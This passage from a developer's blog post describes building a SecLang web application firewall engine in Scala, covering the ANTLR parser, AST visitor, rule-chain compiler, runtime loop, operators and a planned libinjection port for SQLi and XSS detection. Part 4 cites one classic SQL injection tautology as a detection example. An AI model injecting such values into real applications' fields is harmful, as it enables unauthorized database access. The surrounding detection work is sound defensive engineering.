&lt;p&gt;&lt;a href=&quot;https://www.antlr.org/&quot;&gt;ANTLR&lt;/a&gt; (Another Tool for Language Recognition) is a parser generator that reads grammar files and produces parsers in various target languages. Given a &lt;code&gt;.g4&lt;/code&gt; grammar file, ANTLR generates a lexer, parser, and visitor/listener classes.&lt;/p&gt;
&lt;p&gt;I took the seclang_parser grammar and generated Java code:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;antlr4&lt;/span&gt;&lt;span&gt; -visitor&lt;/span&gt;&lt;span&gt; -package&lt;/span&gt;&lt;span&gt; com.cloud.apim.seclang.antlr&lt;/span&gt;&lt;span&gt; SecLangLexer.g4&lt;/span&gt;&lt;span&gt; SecLangParser.g4&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gave me a solid foundation, but ANTLR only handles the syntax—I still needed to build the AST (Abstract Syntax Tree).&lt;/p&gt;
&lt;h3 id=&quot;building-the-ast-visitor&quot;&gt;Building the AST Visitor&lt;/h3&gt;
&lt;p&gt;ANTLR uses the visitor pattern. You extend the generated &lt;code&gt;SecLangParserBaseVisitor&lt;/code&gt; class and implement methods for each grammar rule you care about.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;class&lt;/span&gt;&lt;span&gt; AstBuilderVisitor&lt;/span&gt;&lt;span&gt; extends&lt;/span&gt;&lt;span&gt; SecLangParserBaseVisitor&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Any&lt;/span&gt;&lt;span&gt;] {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  override&lt;/span&gt;&lt;span&gt; def&lt;/span&gt;&lt;span&gt; visitConfiguration&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ctx&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ConfigurationContext&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; Configuration&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; statements&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; ctx.statement().asScala.flatMap { stmtCtx &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      Option&lt;/span&gt;&lt;span&gt;(visitStmt(stmtCtx)).collect { &lt;/span&gt;&lt;span&gt;case&lt;/span&gt;&lt;span&gt; s&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Statement&lt;/span&gt;&lt;span&gt; =&gt;&lt;/span&gt;&lt;span&gt; s }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }.toList&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    Configuration&lt;/span&gt;&lt;span&gt;(statements)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  override&lt;/span&gt;&lt;span&gt; def&lt;/span&gt;&lt;span&gt; visitSecRule&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ctx&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;SecRuleContext&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; SecRule&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; variables&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; visitVariables(ctx.variables())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; operator&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; visitOperator(ctx.operator())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; actions&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; Option&lt;/span&gt;&lt;span&gt;(ctx.actions()).map(visitActions)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    SecRule&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;None&lt;/span&gt;&lt;span&gt;, variables, operator, actions, ctx.getText)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // ... hundreds more visitor methods&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The parser entry point is simple:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;object&lt;/span&gt;&lt;span&gt; AntlrParser&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  def&lt;/span&gt;&lt;span&gt; parse&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;input&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; Either&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;Configuration&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; lexer&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; SecLangLexer&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;CharStreams&lt;/span&gt;&lt;span&gt;.fromString(input))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; tokens&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; CommonTokenStream&lt;/span&gt;&lt;span&gt;(lexer)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; parser&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; SecLangParser&lt;/span&gt;&lt;span&gt;(tokens)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; errorListener&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; CollectingErrorListener&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    parser.removeErrorListeners()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    parser.addErrorListener(errorListener)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    val&lt;/span&gt;&lt;span&gt; tree&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; parser.configuration()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; (errorListener.hasErrors) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      Left&lt;/span&gt;&lt;span&gt;(errorListener.getErrors.mkString(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;\n&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    } &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      val&lt;/span&gt;&lt;span&gt; visitor&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; AstBuilderVisitor&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      Right&lt;/span&gt;&lt;span&gt;(visitor.visitConfiguration(tree))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This was the foundation. With my friend Claude’s help, I was able to flesh out all the visitor methods and handle the quirks of SecLang syntax. The parser visitor alone is about 400 lines of Scala (backed by 11k lines of Java generated by ANTLR).&lt;/p&gt;
&lt;h2 id=&quot;part-2-the-compiler&quot;&gt;Part 2: The Compiler&lt;/h2&gt;
&lt;p&gt;Once I had an AST, I needed to transform it into something executable. Over time, it became clear that a SecLang engine is less about request filtering and more about interpreting a security-specific programming language under strict performance constraints. The compiler’s job is to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Resolve rule chains&lt;/strong&gt;: SecLang allows chaining rules with the &lt;code&gt;chain&lt;/code&gt; action—if the first rule matches, check the second, and so on.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Organize by phase&lt;/strong&gt;: Group rules by their execution phase for efficient processing.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Handle rule removals&lt;/strong&gt;: Process &lt;code&gt;SecRuleRemoveById&lt;/code&gt;, &lt;code&gt;SecRuleRemoveByTag&lt;/code&gt;, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Index markers&lt;/strong&gt;: For &lt;code&gt;skipAfter&lt;/code&gt; actions, pre-compute marker positions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pre-compile regexes&lt;/strong&gt;: Compile regular expressions once, not on every evaluation.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Here’s a simplified view of the chain resolution logic:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; compileChains&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;rules&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;List&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;SecRule&lt;/span&gt;&lt;span&gt;])&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; List&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;RuleChain&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  var&lt;/span&gt;&lt;span&gt; chains&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; ListBuffer&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;RuleChain&lt;/span&gt;&lt;span&gt;]()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  val&lt;/span&gt;&lt;span&gt; current&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; ListBuffer&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;SecRule&lt;/span&gt;&lt;span&gt;]()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  for&lt;/span&gt;&lt;span&gt; (rule &lt;/span&gt;&lt;span&gt;&amp;#x3C;-&lt;/span&gt;&lt;span&gt; rules) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    current &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; rule&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;rule.isChain) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      // Chain complete, emit it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      chains &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; RuleChain&lt;/span&gt;&lt;span&gt;(current.toList)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      current.clear()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  chains.toList&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The compiler outputs a &lt;code&gt;CompiledProgram&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;case&lt;/span&gt;&lt;span&gt; class&lt;/span&gt;&lt;span&gt; CompiledProgram&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  chains&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Map&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Int&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;List&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;RuleChain&lt;/span&gt;&lt;span&gt;]],   &lt;/span&gt;&lt;span&gt;// phase -&gt; chains&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  markers&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Map&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;Int&lt;/span&gt;&lt;span&gt;],           &lt;/span&gt;&lt;span&gt;// marker name -&gt; index&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  mode&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;EngineMode&lt;/span&gt;&lt;span&gt;                     // On, Off, or DetectionOnly&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;part-3-the-runtime-engine&quot;&gt;Part 3: The Runtime Engine&lt;/h2&gt;
&lt;p&gt;This is where the real work happens. The engine evaluates a &lt;code&gt;CompiledProgram&lt;/code&gt; against a &lt;code&gt;RequestContext&lt;/code&gt; and returns a disposition (continue or block).&lt;/p&gt;
&lt;h3 id=&quot;the-core-loop&quot;&gt;The Core Loop&lt;/h3&gt;
&lt;p&gt;Here’s a simplified view of the core loop logic:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; evaluate&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;ctx&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;RequestContext&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;phases&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;List&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;Int&lt;/span&gt;&lt;span&gt;])&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; EngineResult&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  var&lt;/span&gt;&lt;span&gt; state&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; RuntimeState&lt;/span&gt;&lt;span&gt;.initial(program.mode)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  for&lt;/span&gt;&lt;span&gt; (phase &lt;/span&gt;&lt;span&gt;&amp;#x3C;-&lt;/span&gt;&lt;span&gt; phases &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; state.shouldContinue) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    for&lt;/span&gt;&lt;span&gt; (chain &lt;/span&gt;&lt;span&gt;&amp;#x3C;-&lt;/span&gt;&lt;span&gt; program.chains.getOrElse(phase, &lt;/span&gt;&lt;span&gt;Nil&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      val&lt;/span&gt;&lt;span&gt; result&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; evaluateChain(chain, ctx, state)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      state &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; result.state&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      result.disposition &lt;/span&gt;&lt;span&gt;match&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Block&lt;/span&gt;&lt;span&gt;(status, msg, ruleId) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          // Early exit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          return&lt;/span&gt;&lt;span&gt; EngineResult&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Block&lt;/span&gt;&lt;span&gt;(status, msg, ruleId), &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;            state&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        case&lt;/span&gt;&lt;span&gt; Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Continue&lt;/span&gt;&lt;span&gt; =&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          // Keep going&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  EngineResult&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;Disposition&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Continue&lt;/span&gt;&lt;span&gt;, state)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;variables-transformations-operators-actions&quot;&gt;Variables, Transformations, Operators, Actions&lt;/h3&gt;
&lt;p&gt;The engine implements four key components, all following the same pattern—Scala pattern matching over the AST:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Variables&lt;/strong&gt; (30+): Extract data from the request (&lt;code&gt;REQUEST_URI&lt;/code&gt;, &lt;code&gt;REQUEST_HEADERS&lt;/code&gt;, &lt;code&gt;ARGS&lt;/code&gt;, &lt;code&gt;COOKIES&lt;/code&gt;, etc.). Support collection access with keys and regex selectors like &lt;code&gt;REQUEST_HEADERS:/^X-Custom-/&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Transformations&lt;/strong&gt; (25+): Normalize values before matching (&lt;code&gt;lowercase&lt;/code&gt;, &lt;code&gt;urlDecode&lt;/code&gt;, &lt;code&gt;base64Decode&lt;/code&gt;, &lt;code&gt;htmlEntityDecode&lt;/code&gt;, &lt;code&gt;removeWhitespace&lt;/code&gt;, etc.). Can be chained: &lt;code&gt;t:lowercase,t:urlDecode&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Operators&lt;/strong&gt; (15+): Perform the actual matching (&lt;code&gt;@rx&lt;/code&gt; for regex, &lt;code&gt;@pm&lt;/code&gt; for phrase match, &lt;code&gt;@contains&lt;/code&gt;, &lt;code&gt;@beginsWith&lt;/code&gt;, &lt;code&gt;@ipMatch&lt;/code&gt;, &lt;code&gt;@detectSQLi&lt;/code&gt;, &lt;code&gt;@detectXSS&lt;/code&gt;, etc.).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Actions&lt;/strong&gt;: Execute on match (&lt;code&gt;block&lt;/code&gt;, &lt;code&gt;pass&lt;/code&gt;, &lt;code&gt;deny&lt;/code&gt;, &lt;code&gt;setvar&lt;/code&gt; for TX variables, &lt;code&gt;skip&lt;/code&gt;, &lt;code&gt;skipAfter&lt;/code&gt; for flow control, etc.).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here’s a taste of how operators are implemented:&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;scala&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; matchOperator&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;op&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Operator&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;String&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; Boolean&lt;/span&gt;&lt;span&gt; =&lt;/span&gt;&lt;span&gt; op &lt;/span&gt;&lt;span&gt;match&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  case&lt;/span&gt;&lt;span&gt; Operator&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Rx&lt;/span&gt;&lt;span&gt;(pattern) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;span&gt; RegexPool&lt;/span&gt;&lt;span&gt;.regex(pattern).findFirstIn(value).isDefined&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  case&lt;/span&gt;&lt;span&gt; Operator&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Pm&lt;/span&gt;&lt;span&gt;(phrases) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;span&gt; phrases.exists(p &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;span&gt; value.toLowerCase.contains(p.toLowerCase))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  case&lt;/span&gt;&lt;span&gt; Operator&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;Contains&lt;/span&gt;&lt;span&gt;(s) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;span&gt; value.contains(s)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  case&lt;/span&gt;&lt;span&gt; Operator&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;IpMatch&lt;/span&gt;&lt;span&gt;(ranges) &lt;/span&gt;&lt;span&gt;=&gt;&lt;/span&gt;&lt;span&gt; ranges.exists(_.contains(&lt;/span&gt;&lt;span&gt;InetAddress&lt;/span&gt;&lt;span&gt;.getByName(value)))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  // ... etc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;part-4-the-libinjection-challenge&quot;&gt;Part 4: The libinjection Challenge&lt;/h2&gt;
&lt;p&gt;As I was implementing operators, I hit a wall: SecLang includes &lt;code&gt;@detectSQLi&lt;/code&gt; and &lt;code&gt;@detectXSS&lt;/code&gt; operators that use &lt;a href=&quot;https://github.com/libinjection/libinjection&quot;&gt;libinjection&lt;/a&gt;, a C library for detecting SQL injection and XSS attacks. There was no Java/Scala port. So I had two options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;give up&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;or port a 4,000-line C security library to Java&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Guess which one I chose.&lt;/p&gt;
&lt;p&gt;libinjection uses a clever technique: instead of regex patterns, it &lt;em&gt;tokenizes&lt;/em&gt; input and generates a “fingerprint” that’s matched against known attack patterns. For example, the SQL input &lt;code&gt;1&apos; OR &apos;1&apos;=&apos;1&lt;/code&gt; gets tokenized and folded into &lt;code&gt;[s, &amp;#x26;, s]&lt;/code&gt; (string, boolean operator, string), then matched against 9,000+ known SQLi fingerprints. XSS detection works similarly using HTML5 tokenization to detect dangerous tags, attributes, and URL schemes.&lt;/p&gt;
